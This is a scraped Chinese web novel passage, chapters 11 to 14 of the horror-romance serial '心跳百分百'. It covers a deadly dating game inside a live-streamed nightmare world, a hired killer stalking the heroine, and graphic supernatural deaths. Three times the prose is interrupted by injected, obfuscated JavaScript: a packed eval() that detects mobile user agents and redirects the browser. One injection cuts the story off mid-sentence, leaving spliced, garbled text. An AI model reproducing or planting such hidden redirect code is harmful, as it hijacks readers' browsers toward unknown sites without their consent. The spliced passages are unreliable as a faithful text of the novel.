她确实喜欢鲸鱼,也曾在社交平台发过相关的动态。 但他们聊过这个吗? 还没等她细想,王默忽然抬起手,打了个响指。 “啪。” 清脆的声音在寂静的包厢里回荡,下一秒,整个包厢的景象骤然变化。 那些锈蚀的钢板墙壁、头顶简陋的灯泡、冰冷的金属桌椅全部消失了。 取而代之的,是一片深邃的、流动的蓝色。 是海。 徐媛睁大了眼睛。 她仿佛置身于海洋深处,四周是无边无际的深蓝。 光线从头顶洒落,在水中投下摇曳的光。 然后,它出现了。 一头庞大的蓝鲸,从深蓝的尽头缓缓游来。 越来越近,越来越近。 近到她几乎能看见它眼中倒映出的、自己渺小的身影。 徐媛捂住嘴,震惊得说不出话来。 全息投影?在这种地方?在这种老式工业风的包厢里? 眼前的景象太过真实,她能感受到水流的涌动,能听见鲸鱼悠长的鸣叫,甚至能闻到海水特有的咸腥气息。 这得是多高级的技术?得多大的手笔? 王默他到底是谁? 鲸鱼在她面前缓缓转身,朝着深蓝的尽头游去,身影越来越淡,最终融入那片无尽的蓝色中。 深蓝褪去,海水消散,洒落的光消失。 包厢恢复了原样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959069|193275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依旧是锈蚀的钢板墙壁,依旧是昏暗的灯光,依旧是冰冷的金属桌椅。 仿佛刚才那震撼的一幕从未发生。 徐媛呆坐在椅子上,心脏还在狂跳。 震惊过后,一种难以言说的得意和感动涌上心头。 这么大的手笔,只是为了她。 她之前居然还在怀疑,真是太可笑了! 这分明就是王默给她的浪漫惊喜,是这场情趣考验中最动人的一环。 徐媛脸上重新绽放出笑容,比之前任何一次都要灿烂,都要甜蜜。 “默,”她娇嗔道,“你真是太让我惊喜了。” 王默微笑地看着她,没有说话。 “刚才那个问题,哦,我想起来了!” 她拍了一下手,眼神里带着狡黠和撒娇:“是不是那次,我把你的账号关进黑名单的事?” “我那时候就是生气嘛,觉得你白天老是不回我消息,一冲动就……” “哎呀,我太任性了,以后不会了啦!” * 观察室里,赵杰愤怒到想要砸墙,又硬生生忍住,“她到底能不能听懂人话?!” 文雪没有说话。 她的目光死死盯着包厢里的王默。 他冷白的脸越来越明显地散发出一种诡异的光泽,像是仿生人的皮肤一样。 【完了完了,徐媛这次死定了。】 【她到底是怎么把这种送命题理解成打情骂俏的?!】 【你们看王默那个笑,我鸡皮疙瘩起来了。】 徐媛显然没有察觉到任何异样。 她沉浸在巨大的喜悦中,甚至开始期待接下来的奖励。 这一次终于没有侍者再端上餐盘。 “默,”徐媛撒娇似的开口,“奖励是什么?” 王默微笑不语。 “快告诉我嘛!”她拖长了尾音,还眨了眨眼,眼神里满是暗示。 王默终于开口了,声音温柔而缥缈,“你想要什么奖励?” 徐媛道:“只要是你给我的,我都喜欢。” 王默静静地看着她,看了很久。 久到徐媛脸上的笑容都有些挂不住了,久到观察室里的所有人都屏住了呼吸。 然后,他缓缓开口,声音低沉而清晰。 “我将给予你我的一切。” 话音落下的瞬间,包厢里的灯光突兀地熄灭。 * 黑暗。 铺天盖地的黑暗,浓稠而又黏腻。 它吞噬了所有光线,吞噬了所有声音,吞噬了所有感知。 “怎么回事?!”赵杰低吼。 文雪迅速掏出备用手电,按下开关,却没有任何作用。 【???画面呢?】 【黑屏了?!】 【卧槽别吓我啊!】 【怎么回事?设备故障?】 【不可能,噩梦世界的直播系统不可能故障!】 弹幕瞬间被恐慌淹没。 漫长、寂静、令人窒息的黑暗。 在这片黑暗中,江敛猛地弓起身子。 一种无法言说的绝望和饥饿感,正疯狂地冲击着他的意识。 饿。 好饿。 不是生理上的饥饿,不是肚子空了的空虚感。 那是是某种更深的、更绝望的、仿佛从灵魂深处蔓延而出的匮乏感。 对食物的渴望。 对“吃”的极端渴望。 江敛的指甲深深掐进掌心,鲜血渗出来,他却感觉不到疼痛。 因为那种“饿”已经压倒了一切,它像无数根针,密密麻麻扎进了他的身体。 想吃东西。 生的、熟的、腐烂的、活着的…… 只要能填进嘴里,只要能缓解这种可怕的空虚感。 * 不知过了多久。 也许只有几秒,也许有几个世纪。 黑暗开始消退,光线一点点渗进来,四周的景象重新浮现。 观察室里的所有人都愣住了,因为那面单向玻璃消失了,他们此刻直接站在了包厢里。 锈蚀的钢板墙壁包围着他们,冰冷的金属桌椅就在他们面前,上面堆满了数不胜数的诡异食物。 王默不见了。 那个穿着黑色风衣的英俊男人,此刻消失得无影无踪。 仿佛从未存在过。 文雪低头看一眼手表,时间竟像是凭空跳跃到了九点半。 房间里只剩下他们五人,和一具…… 江敛的瞳孔骤然收缩。 在他面前不到半米的地方,徐媛残破的身躯以一种极不自然的姿势向后仰着,脖子弯折,脸朝向天花板。 她的嘴巴大张着,嘴角撕裂,一直裂到耳根。 而她身上那件大红色的连衣裙,则被撑得撕裂,昂贵的布料碎片散落在周围。 往下看,她的腹部整个被撑爆开来,食物与肠子、还有内脏流淌了一地。 像一朵畸形绽开的血肉之花。 桌面上,徐媛的手机游戏页面显示: 心跳值百分之百! 12. 心跳百分百(十二) 丝绸布条蒙上眼睛时,触感冰凉柔软,让人莫名想到贴肤而过的蛇类,她的睫毛颤了颤。 但这感觉极其轻微,且转瞬即逝。 所有光线被隔绝后,世界陷入一片纯粹黑暗。 “要带我去哪?”她的声音里带着笑意。 陆秋白没有回答,只是牵起她的手。 他的掌心依旧微凉,手指修长有力,将她整只手包裹住。 她被牵引着向前走。 最初几步还能感知到平整的地面,很快脚下变成了向下的阶梯。 奇特的气息从下方涌上来,夹杂着铁锈味、若有若无的花香,还有金属特有的冷冽气息。 阮思甜心里掠过一丝诧异。 她的男朋友之前总是过于羞涩和腼腆,连牵她的手都会耳尖发红。 这次出差回来,好像变了很多,居然知道准备惊喜了。 她听说过有些情侣会特意去体验惊险刺激的事,据说能让感情迅速升温。 而男朋友居然有了这样小小的心机? 她感到有点好笑,并不反感。 黑暗放大了其他感官,她能听见自己心跳的声音,能感受到陆秋白牵着她手时微微用力的指尖,能察觉到空气流动的细微变化。 脑海里飞快闪过一双熟悉的眼睛,饱含少年人特有的清润与绝望守护时的孤注一掷,又飞快消散。 快到让人觉得是幻觉。 明明处于一种被生物的直觉判定为危险的环境,阮思甜却并不担心。 对于陆秋白,她有种本能般的信赖。 是觉得对方可以为她去死,也不愿意看到她出一点事的那种。 侍者在前方引路。 向下走了三步后,阮思甜已经飞快判断出环境。 阶梯宽度,每级台阶高度,边缘平整无破损。 向前延伸的通道应该不宽,因为能听到他们的脚步声在很近的墙壁间产生轻微回音。 虽然看不见,但她的大脑已经勾勒出大致的路径图。 想了想,她觉得应该对男朋友准备的惊喜做出点回应,这样他下次就会继续花心思哄她开心。 接着,一种想要测试边界的冲动悄然滋生。 在这精心布置的惊喜里,她小小的意外会引发他怎样的反应? 又向下走了几步,阮思甜忽然脚下一晃,假装踩空。 她轻呼一声,身体顺势向旁边歪倒。 他飞快反应过来,直接松开了牵着她的手,手臂一揽,将她整个人搂进了怀里。 没有半分迟疑,动作流畅自然。 如最精密的机械般精准无误。 阮思甜被他搂抱着,心中莫名多了一丝兴奋,还有一种微妙的掌控感。 她的脸颊贴上他带糖渍的衬衫面料。 隔着微凉的布料,她能感受到衬衫下紧实的肌肉线条,以及那副躯体比常人稍低的体温。 黑暗中,两人身体紧密相贴。 她闻到了他身上那股清冽的冷香,此刻混合着地下通道特有的铁锈与花香,变得有些微妙。 前方侍者脚步一停。 阮思甜能感觉到那道视线落在他们身上,但那目光里没有恶意。 正因为有外人在场,她被男朋友这样抱着,心中反而升起更强烈的兴奋感。 陆秋白的手臂稳稳环着她的腰。 此刻他并不饿。 怀中这具温软的躯体散发着熟悉的气息,那清清浅浅的橙花香,混合在着她皮肤的温度,格外令人着迷。 没有想要吞噬的冲动,反而升起另一种感觉。 像那天晚上她把手搭在他腰上时一样,他不知道那是什么,但本能告诉他,应该更紧地抱住她。 于是他收紧手臂,几乎是将她半抱着,带着她继续向下走。 阮思甜配合地靠在他怀里,嘴角不自觉上扬。 她能感受到陆秋白行走时身体的轻微起伏,能感受到他手臂肌肉的力道,甚至感受他的胸膛在微微起伏。 这一切都在黑暗中被无限放大。 * 他们在一扇门前停下。 “尊贵的客人,到了。”侍者用一种恭敬的语调说道。 随后他的脚步声远去,四周陷入一种深沉的寂静。 只有她和陆秋白的呼吸声交织在一起。 陆秋白的手从她腰间移开,抚上她的后脑勺。 温柔而冰凉。 他的指尖穿过她微卷的发丝,触碰到脑后布条的蝴蝶结。 布条被解开,滑落。 阮思甜眨了眨眼,适应光线。 眼前是一扇厚重的木门,门上遍布复古的花纹。 “推开看看。”陆秋白站在她身侧,声音平静。 阮思甜看了他一眼,他已经重新戴上了那副金丝边眼镜,镜片后的眼眸深邃平静,看不出情绪。 她伸手,握住冰冷的把手,用力推开。 门后的景象让她怔住了。 她本以为会看到什么惊悚主题的餐厅,但眼前的房间完全不是那样。 这是一个不大的包厢,却奇妙地融合了两种截然不同的元素。 房间不算大,墙壁上遍布大小不一的复古钟表与齿轮,有些齿轮静止,有些在缓缓转动,发出极轻微的声响。 棕色的泰迪熊坐在一个大齿轮旁,白色的兔子玩偶靠在管道边,还有其它小动物一排排坐在墙角的架子上。 每个玩偶都可可爱爱,眼神灵动,像是拥有自己的生命。 色泽璀璨的金属玫瑰与真实的鲜花交错在一起,在这个复古机械风的童话王国里热烈绽放。 头顶的彩灯散发出绮丽的光,让眼前的一切璀璨的像一场梦。 而她,则是回到童话国度的公主。 阮思甜呼吸一滞,瞬间被这梦幻般的场景打动。 但极致的美有时会带来一种非真实感。 “喜欢吗?”男朋友的声音从身后传来。 阮思甜转过身,看到他站在光影交界处,镜片后的眼睛平静无波。 她一下子清醒了不少,笑着问道:“你特意准备的?” 陆秋白只是很冷淡地“嗯”了一声。 又是鲸鱼烟花,又是童话王国。 她的男朋友虽然嘴上什么都不说,但却总能满足她心底的愿望。 * 她走进房间,手指轻轻抚过一只兔子玩偶的长耳朵,又仰头看向头顶那盏微微转动的琉璃灯球。 光影在她脸上流转,将她本就秀美的面容映衬得更加动人。 房间中央是一张木质餐桌,桌面铺着洁白的蕾丝桌布,上面摆放着银质餐具和水晶酒杯。 而在餐桌旁的椅子上,坐着那只套圈赢来的毛绒狗。 它被端正地放在椅子上,圆滚滚的身体靠着椅背,大大的眼睛呆萌地看着前方,像是在等待开餐。 阮思甜的心软得一塌糊涂。 她走到桌边坐下,看着桌上精美的食物。 一切都完美得像童话。 冒着梦幻般的粉色泡泡的童话。 但这一刻,阮思甜忽然想要任性一下,戳破这些气泡。 “阿白,”她转过身,眼睛弯成月牙,“这些看起来很棒,但我突然好想吃刚才庆典上的东西。” 她掰着手指头数:“烤串,章鱼丸子,糖炒栗子,还有那种浇满酱汁的麻辣豆腐块……” 陆秋白坐在她对面,身体向后倾,表情冷淡地靠在椅背上。 他没有说话,只是微微晃动手中的酒杯,暗红色的酒液在杯中无声荡漾。 阮思甜与他对视,心里那点小小的叛逆在滋长。 几秒后,陆秋白将酒杯放在一旁的齿轮架子上,抬手按了桌面上的一个铜质按钮。 包厢另一侧的门滑开,一个兔耳女仆装的美丽仿生人走了进来。 她的动作流畅自然,脸上带着标准化的甜美笑容。 “客人,请问有什么需要?”声音也十分温柔。 陆秋白看向自己的人类女朋友。 阮思甜把刚才说的那些小吃又说了一遍。 “请稍等。”仿生人女仆微微鞠躬,转身离开。 十五分钟后,她端着托盘回来了。 托盘上放着阮思甜要的所有东西。 “祝两位用餐愉快。”仿生人女仆再次鞠躬,退出了房间。 门关上,房间里又只剩下他们两人。 阮思甜拿起一串烤肉,咬了一口,炭火香气在口中弥漫。 简单、粗粝,却充满鲜活的气息。 她把椅子挪到男朋友旁边,后者无声地挑了一下眉。 吃下一颗丸子后,她将竹签递到陆秋白嘴边,眼睛亮亮地看着他:“尝尝?” 陆秋白的目光落在竹签尖端的丸子上,那里还沾着一点她留下的酱汁。 他停顿了一瞬。 犹豫了一会,他还是咬下了那颗丸子,动作流畅得连他自己都有些吃惊。 丸子在他口中被咀嚼。 面粉的柔软,章鱼粒的弹性,酱汁的咸甜,调料的鲜味,所有味道层次分明地呈现出来。 廉价而充满强烈感官刺激的人类食物,口感乏味,简直可以用难吃来形容。 但奇怪的是,他并不反感。 他甚至能分辨出,这味道里残留着一丝属于她的气息。 不是实际的接触,而是因为她吃过,所以在他认知里,这东西就与她产生了关联。 陆秋白吞下丸子,抬眼看向阮思甜。 她正期待地看着他。 下一秒,陆秋白伸手拿起一串烤肉,递到她唇边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967753|193275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的动作很自然,眼神却过于专注,像是在观察某种实验反应。 阮思甜愣了一下,然后笑着咬下一块烤肉。 就这样,两人你一口我一口,吃着那些本不该出现在这里的小吃,糖炒栗子的甜香在空气中弥漫。 陆秋白在模仿她的行为,观察她咀嚼的频率,吞咽的节奏,甚至她吃到喜欢的东西时,眼睛会微微眯起的小动作。 他在学习像一个人类那样吃东西。 不,是像她一样吃东西! 这种认知让他心中产生了一种陌生的情绪。 最后一块土豆被阮思甜吃完后,她心满意足,然后用清水漱了漱口。 陆秋白的目光锁定在她的嘴唇上。 然后,他忽然伸出手,捏住了她的下颌。 男朋友的手指修长而有力,让人无法挣脱。 阮思甜的下巴被他钳制着,与他四目相对。 他在看她,却又像是透过她在看着什么,眼里的情绪十分复杂。 对于他的行为,她有些摸不着头脑。 接着,他指尖的力道微松。 阮思甜松了一口气。 然而一下秒,男朋友却并没有如她预料的那般松开手,反而将另一只手的食指飞快探入她微张的嘴里。 他的指尖拂过她洁白整齐的牙齿,触碰到柔软温热的舌尖。 阮思甜整个人僵住了。 她能感受到他指尖冰凉的触感,能感受到他粗糙的指腹,能感受到这个动作里饱含的禁忌感。 以及某种无法言说的、超越亲密的意味。 陆秋白注视着她的反应。 她的瞳孔微微收缩,呼吸有一瞬间的停滞,脸颊以肉眼可见的速度泛红。 惊慌之下她本能地推拒,反而无意识地用舌尖舔到了他的指尖。 像小动物猝不及防下的回应。 他明显没有停手的打算,仍带着一种不容置疑的力度,缓慢地划过她的口腔。 彷佛在检查一件工艺品的内部构造。 阮思甜总感觉有点不对劲,头皮一阵发麻。 一股源于生物本能的恐惧在心底弥漫。 不知道为什么,男朋友这种行为与其说是调情,不如说,更像是一种探索。 几乎在同一瞬间,另一种更汹涌的情绪逆流而上,压过惊慌。 她温顺的眼底飞快闪过一丝兴奋与挑衅。 她刻意地舔了男朋友的手指一下,温柔而缱绻。 这个动作让他眼底掠过一丝暗色,不由停下了手,低头,脸上有一瞬间的茫然。 可他还没来得及体味出什么,她就骤然咬下。 微微的刺痛感让陆秋白瞬间回神,他抬起头,对上阮思甜温顺中略带狡黠的眼神。 心中那一丝隐约的怒气无形消散。 他缓缓抽回手指,指尖还沾着一点她的唾液。 没有擦拭,身体微微后仰。 接着,他很自然地曲起手指,用关节有一搭没一搭地敲击桌面。 那节奏莫名与她的心跳声重叠。 阮思甜别开头,故意不去看他,特别是他的手。 明明想要镇定下来,脸上却烫得厉害。 她低下头,假装整理裙摆,一颗心在砰砰乱跳。 他停下了动作,忽地发出一声轻笑。 房间里一片寂静,只有钟表的滴答声与齿轮转动的咔哒声。 她听到了自己略显急促的呼吸。 刚才那一瞬间,阮思甜确实感觉到了一丝隐约的恐惧,但很快被兴奋淹没。 心慌之后,隐秘的兴奋在心中弥漫开。 她喜欢这种危险的试探,喜欢这种在掌控与失控边缘游走的感觉。 她的男朋友,果然是学坏了呢! * 离开前,阮思甜在墙角的书架发现了一个礼物盒子。 盒子里有本复古的童话书。 她翻开,里面是大量手绘的复古风格插图。 贫穷而美丽的小少年,住在城堡里的小公主,蓝天下大片的垃圾堆,还有垃圾堆里盛放的玫瑰,如血一般鲜红。 每一页都精美得像艺术品。 “这个可以带走吗?”她抱着书问。 男朋友点头。 阮思甜耳尖微红地将书抱在怀里,跟着男朋友一起慢慢走出门。 走廊里的灯光比包厢内昏暗许多,经过一个拐角时,她不经意地抬头。 然后看见了那个人。 在另一条通道的尽头,一个年轻男人正脸色惨白地靠在墙上。 他头发有些凌乱,眼神里充满了尚未褪去的惊恐,正直勾勾地看着她。 两人的目光在空中短暂相接。 “你在看什么?” 黑暗中,男朋友的声音忽地在脑后响起。 13. 心跳百分百(十三) 她下意识地转过头,对上他的目光。 那双眼睛在昏暗的走廊里,显得格外深邃。 隔着镜片,她看不清他眼底的情绪。 但不知怎的,她觉得他的语气带着一丝若有若无的阴森感。 错觉吗? 阮思甜眨了眨眼,随即露出一个温柔的笑,“没什么,看到个陌生人而已。” 她很自然地挽住他的手臂,心里想:原来男朋友还会吃醋? 以前他就算不高兴了,也总是闷着不说,现在倒是会表露点小情绪了,有长进! 男朋友垂下眼看着她的手,没有说话,只是任由她挽着。 两人并肩朝出口走去。 * 回去的路上,阮思甜坐在副驾驶座上,呆呆地看着车外的夜色出神。 脑子里不受控制地回放着今天发生的一切,脸颊又开始发烫,心底却有一丝难以察觉的战栗。 她偷偷瞥了一眼驾驶座上的陆秋白。 他的侧脸在夜色中显得清俊而平静,白衬衫的袖口依然随意挽到手肘,露出清瘦的小臂。 路灯的光滑过他眼角那颗红色泪痣,晕开一小片温柔的阴影。 看起来和平时没什么不同。 可阮思甜就是觉得,有什么东西在悄然变化。 也许是她的错觉,但越接近午夜,她越能感觉到男朋友身上,正散发出某种紧绷感。 像是有什么东西在他体内蠢蠢欲动,却又被他用意志力强行压制。 车内的空气变得微妙起来,阮思甜别开头,抚了抚垂落下来的发丝。 她在想,等会儿到家之后,会发生什么? 是继续今天未尽的试探,还是会有更进一步的…… 心跳又快了几分。 期待与戒备在她心中交织。 她既渴望更亲密的接触,又本能地感到不安。 那种近乎掠夺的掌控感是那么陌生,不由令人心跳加速。 就在她胡思乱想时,陆秋白忽然踩了刹车。 车子平稳地停在了星海听澜的门口。 “到了。”他的声音比平时更低沉些。 阮思甜愣了愣:“你不上去吗?” 陆秋白转过头看她。 车内没有开灯,只有仪表盘幽幽的蓝光映亮他半张脸。 他的目光在她脸上停留了几秒,然后缓缓移到她微微张开的唇上。 阮思甜能感觉到,他的视线如海水亲吻海岸般,一点点漫过她的唇瓣。 她的呼吸紧了紧。 但男朋友并没有进一步的动作。 他只是很克制地收回目光,语气平静地说:“公司还有点事要处理,今晚可能回不来。” 顿了顿,他又补了一句:“你早点休息。” 阮思甜有些失望,却又松了口气,她露出一个体贴的笑:“好,那你别忙太晚。” 下车后,她站在路边朝他挥了挥手。 黑色的跑车无声地滑入夜色,消失不见。 阮思甜站在原地,夜风吹过,她抱了抱手臂。 * 不远处的阴影里,王哲屏住呼吸,眼睛死死盯着那道纤细的身影。 他的心跳得很快,掌心全是汗,但兴奋感像毒液一样在血管里奔流。 刚才他亲眼看见陆秋白的车离开。 那个星海科技的高层,那个毁了他家庭的邪恶组织的一员,就这样把猎物单独留在了这里。 机会来了。 王哲舔了舔干裂的嘴唇,虐/杀的过程会被录下来,发送给神秘人。 而之后,再与他无关。 但王哲不在乎。 他只要钱,只想报复。 想想就觉得痛快。 阮思甜的身影消失在小区入口。 王哲等了几秒,悄无声息地跟了上去。 他的动作很轻,自以为足够隐蔽,却没有注意到,前方那道纤细的身影在拐弯时,指尖在手机上按了按。 那是她给墨菲斯设置的紧急信号,有不明跟踪者,启动防卫预案。 阮思甜脸上表情不变,甚至哼起了轻快的小调,仿佛真的只是一个晚归的、毫无防备的富家女。 * 星海听澜的安保系统在普通人眼里固若金汤,但王哲手里有神秘人给的数字秘钥。 那串代码轻易摧毁了大部分安全屏障。 他潜入小区时,脚下的地面似乎浮起一丝极淡的黑雾,但眨眼就消失了,快得像是幻觉。 楼道里静得可怕。 感应灯明明灭灭,发出“滋滋”的电流声。 王哲每一步都踩在地毯上,几乎没有声音,但他总觉得,身后有双眼睛在看着自己。 他猛地回头。 空荡荡的走廊里,只有他的影子被拉得很长。 错觉。 王哲深吸一口气,按下楼层按钮。 电梯平稳上升,金属面映出他苍白紧张的脸。 他握了握藏在袖子里的刀,冰冷的触感让他稍微镇定了一些。 六十六层到了。 电梯门无声打开,眼前的场景宽敞而奢华。 空无一人。 整层楼黑着灯,只有安全出口的绿光幽幽亮着。 王哲的心跳开始加速。 真的要杀人吗?用那么残忍的手段?还要录下来? 事到临头,他后知后觉地感到害怕,手心里全是冷汗。 之前接的灰活最多是窃取数据、跟踪偷拍,这种穷凶极恶的事…… 但他需要钱! 那笔钱像魔鬼的低语,在他耳边回响。 他咬咬牙,走到那扇厚重的智能门前,手指悬在确认键上,微微颤抖。 就在他要按下的前一秒,“咔哒”一声响起。 门,竟然自己开了! 王哲僵住了。 一股寒意从脚底直冲天灵盖,他死死盯着那道缓缓敞开的门缝,里面是更深的黑暗,什么也看不见。 他的脑子里本能地产生一个念头,跑! 现在!立刻!马上! 王哲爱钱,但他更惜命。 神秘人的技术再厉害,也不可能远程操控这种级别的门禁。 除非,门后有什么人,在邀请他进去。 他几乎是连滚爬爬地转身冲向电梯,拼命按着下行键。 电梯纹丝不动。 安全通道! 他冲向楼梯间的门,用力拧把手。 锁死了。 怎么可能?! 难道被人发现了? 冷汗浸透了后背的衣服,对着那扇门,王哲开始用脚踢,用刀撬,但一切都是徒劳。 整层楼像一个精美的囚笼,把他困在了这里。 干脆拼了!一个女人而已! 他心一横,转身又冲回了那扇敞开的门。 与其在外面干等着,不如进去搏一把,万一只是系统故障呢? 踏入门内的瞬间,身后的大门无声合拢。 黑暗吞噬了他。 * 客厅里有光。 微弱的光来自墙角的落地灯,暖黄色的,照出一小片区域,像家一样温暖。 电视开着,放着嘈杂的综艺节目,笑声一阵阵传来。 如果他的父母没有死,他们现在应该也在看综艺。 他的眼眶有些发紧,心中恨意越发浓重。 王哲握紧刀,贴着墙根慢慢挪过去。 他看到沙发上坐着一个人,露出小半个后脑勺。 是阮思甜吗? 他在心里计算着距离,盘算着从背后袭击的成功率。 只要捂住嘴,一刀割喉,然后录像…… 他屏住呼吸,一步步靠近。 三米、两米、一米…… 他猛地举刀冲过去,沙发上的身影转了过来。 王哲的刀僵在半空。 他睁大眼睛,瞳孔剧烈收缩。 沙发上坐着的,竟是他去世多年的母亲。 那张慈祥的脸正对着他微笑,眼睛却空洞无神,嘴角咧开的弧度十分僵硬,“阿哲,你怎么来了?” “妈……” 王哲的嘴唇哆嗦着,刀哐当一声掉在地上。 母亲的脸开始扭曲、变形,皮肤下有什么东西在蠕动。 几秒后,那张脸变成了父亲的样子。 那个从公司天台一跃而下,摔得面目全非的父亲。 “阿哲,”父亲的声音和母亲的脸重叠在一起,男女声交织,透着一股冰冷感,“你怎么变成了这个样子?” “不是、我不是……” 他踉跄着后退,语无伦次,腿软得几乎站不住。 他想逃,转身冲向最近的一扇门,用力推开。 门后是同样的客厅,同样的灯光。 同样的沙发上,父母的身体与脸重叠。 再推开一扇门,还是。 再推开,依然如此。 房间开始扭曲,墙壁像融化的蜡一样流淌。 从那些黏腻的阴影里,挤出越来越多的人影,认识的不认识的都有。 他们的血肉之中,生长出了齿轮和发条。或者说,齿轮与发条间生长出了血肉。 那就是一团血肉与金属交织的怪物! 一张张惨白的脸转向他,空洞的眼睛盯着他,嘴唇机械地开合: “阿哲……” “你怎么变成了这个样子……” “阿哲……” 声音层层叠叠,从四面八方涌来,像潮水一样把他淹没。 王哲抱着头蹲下,喉咙里发出困兽般的呜咽。 他疯狂地摇头:“不是、不是这样的、是星海科技,都是他们害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等王哲发来那段血腥的视频。 只要拿到这个,他不但可以向那人交代,还可以好好向他的好兄弟阮思敏炫耀一下。 对方想杀却不敢动手的人,他却轻而易举地得手了。 光是想想,他就激动到不行。 “叮咚。”手机提示音响起。 徐航眼睛一亮,立刻抓起手机解锁。 来了! 是加密频道传来的视频文件,发件人显示是王哲。 他迫不及待地点开播放。 画面一开始很暗,摇晃得厉害,像是手持拍摄。 能辨认出是某个高档小区的内部,镜头追随着一道纤细的女性身影。 一段漫长到沉闷的黑暗后,有微光亮起。 画面突然剧烈晃动,接着,镜头对准了一扇自动打开的门…… 徐航僵在沙发上,后背被冷汗浸透 那不是虐/杀视频。 那是王哲死前的真实记录。 他死了?任务失败了?怎么可能?! 手机又震动了一下。 一条新消息弹出来,来自未知号码,内容却一片空白。 徐航的呼吸骤然停止。 他感到一只无形的手扼住了他的脖子,冰冷,坚硬,不容反抗。 空气被一点点抽离,肺部火辣辣地疼。 他挣扎着想要起身,却发现自己根本动不了。 黑色的雾气从手机里丝丝缕缕地钻出来,像有生命般,缠绕上他的手腕、脚踝、脖颈。 接着,它们又钻进他的鼻孔、耳朵、嘴巴,阴冷的气息在他体内疯狂弥漫。 冰冷刺骨。 幻觉开始涌现。 他看见自己跪在地上,像条狗一样匍匐前行,伸出一只颤抖的手,朝向落地窗的方向。 窗外星海市的灯火璀璨,窗内的沙发上坐着一个人。 逆着光看不清脸,只能看见对方优雅地交叠着双腿,黑色的皮鞋一尘不染,鞋尖在昏暗光线里泛着冷硬的光泽。 “救……救我……”他艰难道。 对方无动于衷。 徐航的手无力地垂下。 “咔嚓”一声,他的颈骨被生生折断。 陆秋白面无表情地从他身后走出,拿了块帕子擦了擦手,而后丢弃,眼中嫌恶的神色一闪而过。 他抬起头,与虚空中那个身影遥遥对视。 对方笑了笑,优雅地朝他举了举酒杯。 14. 心跳百分百(十四) 阮思甜隐约意识到自己在做梦。 梦的开始毫无征兆,她整个人贴在一面巨大的玻璃上。 玻璃冷得像冰,蛛网般的裂纹正悄然蔓延。 玻璃的另一面,还贴着一个人。 靠的太近了,反而看不清对方的脸,只能感觉到那张脸上满是惊恐。 对方的瞳孔在黑暗中放大,嘴唇无声地开合,像一条濒死的鱼。 然后她才意识到两人的处境。 那人背后是万丈高空,再往下整个星海市尽收眼底,夜色中,那一片璀璨的灯火如倒置的星河。 这画面有一种诡诞的诗意,它令人眩晕,美而恐怖。 不知过了多久,对面的人忽然安静了下来。 那种变化很微妙,但阮思甜感觉到了,对方不再颤抖,而且像是变了一个人。 不对,应该是“人”。 这种想法突兀地出现在她的脑海。 阮思甜挣扎着抬起头,拉出一点距离后,看到了对方的脸。 很奇怪,梦中的阮思甜并不认识他。 或者说,大脑拒绝承认这张脸属于陆秋白。 这一刻,对面那人只是个陌生“人”。 这个认知让她感到一股寒意弥漫全身。 四目相对。 梦中的陆秋白没有说话,只是静静地看着她。 他的眼神很奇怪,没有爱意,没有欲望,甚至没有好奇,只是一种纯粹而冷漠的注视。 然后,血从他发丝间渗出,缓慢而优雅。 暗红色的液体流过他光洁的额头,淌过高挺的鼻梁,顺着颧骨的弧度缓缓下滑,最后在下颌处汇聚。 整个过程有种病态的美感。 接着,更诡异的事发生了,血开始顺着玻璃的裂缝渗透。 那些暗红色的液体像有生命般,在蛛网般的裂纹中游走,一点一点穿透玻璃的阻隔,渗到了阮思甜这一侧。 最终渗透了她白色的吊带裙,血红色的花在她胸前无声地盛开。 她开始挣扎着往后缩,想从玻璃上离开,却无法实现。 对面的陆秋白看着她挣扎,依旧一言不发。 她咬着牙,手脚并用往前爬。 空间无声翻转。 远远地看,那一片玻璃似乎没有尽头,向上直通天幕。 一个渺小的人影在艰难地挣扎着,随时可能坠入万丈深渊。 阮思甜感到视野晃动了下,对面那人突然消失了,高空下的城市灯火变成了流动着的模糊光影。 她徒劳地尝试着,却怎么也无法彻底逃离,像是一只被黏死在蛛网中的小小猎物。 然后,一只手抓住了她的脚踝。 冰凉刺骨。 捕食的蜘蛛回来了。 她浑身一僵,缓缓回头。 陆秋白不知何时出现在她身后下方,正平静地看着她,脸上的血消失不见。 他缓缓地露出一个笑容。 不,那并不能被称为笑,充其量是微微扯动了嘴部的肌肉。 这个“人”在模仿人类。 而他的另一只手里,则握着一根细细的暗红色锁链,像是鲜血凝固而成。 “小甜,”陆秋白的声音阴沉沉的,“我还没给你戴上脚链呢!” * 阮思甜猛地睁开眼睛,身上的睡袍早已被冷汗浸透, 天亮了,梦醒了。 梦中的恐怖感却依然萦绕不散。 她躺在柔软的大床上大口喘气,花了好一会儿才确认自己不在高空。 那个梦太真实了! 她掀开被子看了看自己的脚踝。 光滑,细腻,没有任何痕迹。 接着,她走到了落地窗前,干净的玻璃映出她略显苍白的脸。 低下头,整个星海市的风光尽收眼底。 